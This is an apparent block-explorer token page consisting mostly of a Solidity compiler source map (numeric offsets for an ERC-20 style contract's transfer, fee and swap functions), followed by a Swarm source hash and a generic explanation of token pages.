1;20656:6;20642:13;:21::i;:::-;20627:36;;20603:62;-1:-1:-1;;;;;20686:22:0;;;;;;:11;:22;;;;;;;;20683:319;;;20725:22;20740:6;20725:14;:22::i;:::-;20710:37;-1:-1:-1;20769:16:0;;20766:217;;20858:4;20840:24;;;;:9;:24;;;;;;:42;;20869:12;20840:28;:42::i;:::-;20831:4;20813:24;;;;:9;:24;;;;;;;:69;;;;20914:45;;-1:-1:-1;;;;;20914:45:0;;;;;;;20946:12;1596:25:1;;1584:2;1569:18;;1450:177;20914:45:0;;;;;;;;20766:217;21036:24;:6;21047:12;21036:10;:24::i;:::-;21020:40;;20545:531;20291:785;-1:-1:-1;;;;;21131:34:0;;;;;;:23;:34;;;;;;;;21127:125;;21235:16;;21192:39;21217:13;21192:20;21202:9;-1:-1:-1;;;;;16884:18:0;16857:7;16884:18;;;:9;:18;;;;;;;16791:119;21192:20;:24;;:39::i;:::-;:59;;21184:68;;;;;;-1:-1:-1;;;;;21292:20:0;;;;;;:9;:20;;;;;;:39;;21317:13;21292:24;:39::i;:::-;-1:-1:-1;;;;;21269:20:0;;;;;;;:9;:20;;;;;;;:62;;;;21353:42;;;;;;;;;;21381:13;1596:25:1;;1584:2;1569:18;;1450:177;21353:42:0;;;;;;;;21417:4;21410:11;;;;;;;1520:192;1606:7;1642:12;1634:6;;;;1626:29;;;;-1:-1:-1;;;1626:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1666:9:0;1678:5;1682:1;1678;:5;:::i;:::-;1666:17;1520:192;-1:-1:-1;;;;;1520:192:0:o;1187:181::-;1245:7;;1277:5;1281:1;1277;:5;:::i;:::-;1265:17;;1306:1;1301;:6;;1293:46;;;;-1:-1:-1;;;1293:46:0;;7002:2:1;1293:46:0;;;6984:21:1;7041:2;7021:18;;;7014:30;7080:29;7060:18;;;7053:57;7127:18;;1293:46:0;6800:351:1;22057:330:0;22187:53;;;;;;;;;;;-1:-1:-1;;;22187:53:0;;;;;;;;-1:-1:-1;;;;;22187:17:0;;22150:4;22187:17;;;:9;:17;;;;;;;:53;;22209:6;;22187:21;:53::i;:::-;-1:-1:-1;;;;;22167:17:0;;;;;;;:9;:17;;;;;;:73;;;;22274:20;;;;;;;:32;;22299:6;22274:24;:32::i;:::-;-1:-1:-1;;;;;22251:20:0;;;;;;;:9;:20;;;;;;;:55;;;;22322:35;;;;;;;;;;22350:6;1596:25:1;;1584:2;1569:18;;1450:177;22322:35:0;;;;;;;;-1:-1:-1;22375:4:0;22057:330;;;;;:::o;22537:359::-;15296:16;:23;;-1:-1:-1;;;;15296:23:0;-1:-1:-1;;;15296:23:0;;;;22641:24:::1;22661:3;22641:15;:7:::0;22653:2:::1;22641:11;:15::i;:::-;:19:::0;::::1;:24::i;:::-;22619:46:::0;-1:-1:-1;22676:21:0::1;22700:24;:7:::0;22619:46;22700:11:::1;:24::i;:::-;22676:48;;22737:31;22754:13;22737:16;:31::i;:::-;22857:14;::::0;22804:21:::1;::::0;22836:52:::1;::::0;22857:14:::1;::::0;::::1;-1:-1:-1::0;;;;;22857:14:0::1;22804:21:::0;22836:20:::1;:52::i;:::-;-1:-1:-1::0;;15342:16:0;:24;;-1:-1:-1;;;;15342:24:0;;;-1:-1:-1;;22537:359:0:o;21740:169::-;-1:-1:-1;;;;;22014:27:0;;21824:4;22014:27;;;:12;:27;;;;;;;;21847:54;;;;-1:-1:-1;;;;;;;;21882:19:0;;;;;:11;:19;;;;;;;;;21740:169::o;22395:134::-;22508:12;;22444:7;;22470:51;;-1:-1:-1;;;22471:31:0;22470:37;:51::i;:::-;22463:58;;22395:134;:::o;21448:122::-;21545:7;;21508;;21534:28;;21558:3;;21534:19;;:6;;21545:7;;21534:10;:19::i;21582:150::-;21680:34;;;;;;;;;21681:8;;;;;;;21680:34;;-1:-1:-1;;21669:55:0;;21720:3;;21669:46;;21680:34;;;21691:11;21681:8;21697:2;21691:11;:::i;:::-;21680:34;;;;;;;21704:9;;;;;;;21680:34;;;;;;:::i;:::-;;;;;21669:6;;:46;;:10;:46::i;1376:136::-;1434:7;1461:43;1465:1;1468;1461:43;;;;;;;;;;;;;;;;;:3;:43::i;1720:250::-;1778:7;1802:1;1807;1802:6;1798:47;;-1:-1:-1;1832:1:0;1825:8;;1798:47;1857:9;1869:5;1873:1;1869;:5;:::i;:::-;1857:17;-1:-1:-1;1902:1:0;1893:5;1897:1;1857:17;1893:5;:::i;:::-;:10;1885:56;;;;-1:-1:-1;;;1885:56:0;;8041:2:1;1885:56:0;;;8023:21:1;8080:2;8060:18;;;8053:30;8119:34;8099:18;;;8092:62;-1:-1:-1;;;8170:18:1;;;8163:31;8211:19;;1885:56:0;7839:397:1;1978:132:0;2036:7;2063:39;2067:1;2070;2063:39;;;;;;;;;;;;;;;;;:3;:39::i;22908:522::-;22998:16;;;23012:1;22998:16;;;;;;;;22974:21;;22998:16;;;;;;;;;;-1:-1:-1;22998:16:0;22974:40;;23043:4;23025;23030:1;23025:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23025:23:0;;;:7;;;;;;;;;;:23;;;;23069:15;;:22;;;-1:-1:-1;;;23069:22:0;;;;:15;;;;;:20;;:22;;;;;23025:7;;23069:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23059:4;23064:1;23059:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23059:32:0;;;:7;;;;;;;;;:32;23134:15;;23102:62;;23119:4;;23134:15;23152:11;23102:8;:62::i;:::-;23175:15;;:196;;-1:-1:-1;;;23175:196:0;;-1:-1:-1;;;;;23175:15:0;;;;:66;;:196;;23256:11;;23175:15;;23298:4;;23325;;23345:15;;23175:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23387:35;23404:11;23417:4;23387:35;;;;;;;:::i;:::-;;;;;;;;22963:467;22908:522;:::o;18387:126::-;18479:26;;-1:-1:-1;;;;;18479:18:0;;;:26;;;;;18498:6;;18479:26;;;;18498:6;18479:18;:26;;;;;;;;;;;;;;;;;;;;;18387:126;;:::o;2118:278::-;2204:7;2239:12;2232:5;2224:28;;;;-1:-1:-1;;;2224:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2263:9:0;2275:5;2279:1;2275;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2282:247::-;2341:6;2394:2;2382:9;2373:7;2369:23;2365:32;2362:52;;;2410:1;2407;2400:12;2362:52;2449:9;2436:23;2468:31;2493:5;2468:31;:::i;2742:273::-;2798:6;2851:2;2839:9;2830:7;2826:23;2822:32;2819:52;;;2867:1;2864;2857:12;2819:52;2906:9;2893:23;2959:5;2952:13;2945:21;2938:5;2935:32;2925:60;;2981:1;2978;2971:12;3020:388;3088:6;3096;3149:2;3137:9;3128:7;3124:23;3120:32;3117:52;;;3165:1;3162;3155:12;3117:52;3204:9;3191:23;3223:31;3248:5;3223:31;:::i;:::-;3273:5;-1:-1:-1;3330:2:1;3315:18;;3302:32;3343:33;3302:32;3343:33;:::i;:::-;3395:7;3385:17;;;3020:388;;;;;:::o;3637:380::-;3716:1;3712:12;;;;3759;;;3780:61;;3834:4;3826:6;3822:17;3812:27;;3780:61;3887:2;3879:6;3876:14;3856:18;3853:38;3850:161;;3933:10;3928:3;3924:20;3921:1;3914:31;3968:4;3965:1;3958:15;3996:4;3993:1;3986:15;3850:161;;3637:380;;;:::o;6405:127::-;6466:10;6461:3;6457:20;6454:1;6447:31;6497:4;6494:1;6487:15;6521:4;6518:1;6511:15;6537:128;6604:9;;;6625:11;;;6622:37;;;6639:18;;:::i;6670:125::-;6735:9;;;6756:10;;;6753:36;;;6769:18;;:::i;7156:151::-;7246:4;7239:12;;;7225;;;7221:31;;7264:14;;7261:40;;;7281:18;;:::i;7312:127::-;7373:10;7368:3;7364:20;7361:1;7354:31;7404:4;7401:1;7394:15;7428:4;7425:1;7418:15;7444:168;7517:9;;;7548;;7565:15;;;7559:22;;7545:37;7535:71;;7586:18;;:::i;7617:217::-;7657:1;7683;7673:132;;7727:10;7722:3;7718:20;7715:1;7708:31;7762:4;7759:1;7752:15;7790:4;7787:1;7780:15;7673:132;-1:-1:-1;7819:9:1;;7617:217::o;8373:251::-;8443:6;8496:2;8484:9;8475:7;8471:23;8467:32;8464:52;;;8512:1;8509;8502:12;8464:52;8544:9;8538:16;8563:31;8588:5;8563:31;:::i;8629:461::-;8682:3;8720:5;8714:12;8747:6;8742:3;8735:19;8773:4;8802:2;8797:3;8793:12;8786:19;;8839:2;8832:5;8828:14;8860:1;8870:195;8884:6;8881:1;8878:13;8870:195;;;8949:13;;-1:-1:-1;;;;;8945:39:1;8933:52;;9005:12;;;;9040:15;;;;8981:1;8899:9;8870:195;;;-1:-1:-1;9081:3:1;;8629:461;-1:-1:-1;;;;;8629:461:1:o;9095:582::-;9394:6;9383:9;9376:25;9437:6;9432:2;9421:9;9417:18;9410:34;9480:3;9475:2;9464:9;9460:18;9453:31;9357:4;9501:57;9553:3;9542:9;9538:19;9530:6;9501:57;:::i;:::-;-1:-1:-1;;;;;9594:32:1;;;;9589:2;9574:18;;9567:60;-1:-1:-1;9658:3:1;9643:19;9636:35;9493:65;9095:582;-1:-1:-1;;;9095:582:1:o;9682:332::-;9889:6;9878:9;9871:25;9932:2;9927;9916:9;9912:18;9905:30;9852:4;9952:56;10004:2;9993:9;9989:18;9981:6;9952:56;:::i;:::-;9944:64;9682:332;-1:-1:-1;;;;9682:332:1:o

Swarm Source

ipfs://135d57a947086af049e932dd701f989ffcbb8c1084da362e9dec9cace36a679f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.